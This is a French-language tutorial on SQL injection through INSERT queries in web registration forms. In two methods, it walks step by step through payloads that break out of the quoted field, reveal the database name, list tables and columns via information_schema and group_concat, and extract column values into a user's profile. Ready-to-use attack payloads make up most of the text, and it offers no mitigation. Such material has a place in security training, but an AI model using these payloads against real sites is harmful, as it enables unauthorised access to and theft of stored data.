Injection SQL Insert

Un nouveau mode d'injection sql est apparu avec la création des formulaires d'inscriptions. Le but de l'insert est d'insérer comme son nom l'indique des valeurs dans une bdd.

Pour mysql la requête est la suivante :

INSERT INTO table_name VALUES ('nom','prenom','email','age');

Si les champs ne sont pas traités avant d'être envoyés en base de données nous pourrons les exploiter.

Cet insert sera matérialisé par un formulaire simple avec quatre champs :

Nom =

Prenom =

Email =

Age =

Exploitation

Première méthode

1.Insérer des valeurs inattendues dans le formulaire

Notre requête

nom=dupond','jean','jean@dupond.fr','30')#

Cela aura pour effet de créer un utilisateur dupond jean jean@dupond.fr 30

Maintenant, passons aux choses sérieuses.

2.Afficher le nom de la base de donnée

Notre requête :

nom=dupond',(database()),'jean@dupond.fr','30')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom.

3.Afficher le nom des tables

Notre requête :

nom=dupond',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'jean@dupond.fr','30')#

Group_concat permet d'afficher plusieurs valeurs dans un même champs.

Lorsque nous afficherons le profil de notre utilisateur, nous obtiendrons le nom des tables à la place de notre prénom.

4.Afficher le nom des colonnes d'une table

Notre requête :

nom=dupond',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'jean@dupond.fr','30')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisi à la place de notre prénom.

5. Afficher une valeur d'une table

Notre requête :

nom=dupond',(SELECT group_concat(ma_colonne) FROM ma_table),'jean@dupond.fr','30')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisi à la place de notre prénom.

Seconde méthode

1.Insérer des valeurs à la suite de la première requête.

Le contenu de notre requête

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best','hacker','best@hacker.fr',20)#

Cela aura pour effet de créer deux utilisateurs : dupond jean jean@dupond.fr 30 best hacker best@hacker.fr 20

2.Afficher le nom de la base de donnée

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(database()),'best@hacker.fr',20)#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom.

3.Afficher le nom des tables

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'best@hacker.fr',20)#

Group_concat permet d'afficher plusieurs valeurs dans un même champs.

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom.

4.Afficher le nom des colonnes d'une table

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'best@hacker.fr','20')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisie à la place de notre prénom.

5. Afficher une valeur d'une table

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(ma_colonne) FROM ma_table),'best@hacker.fr','20')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisie à la place de notre prénom.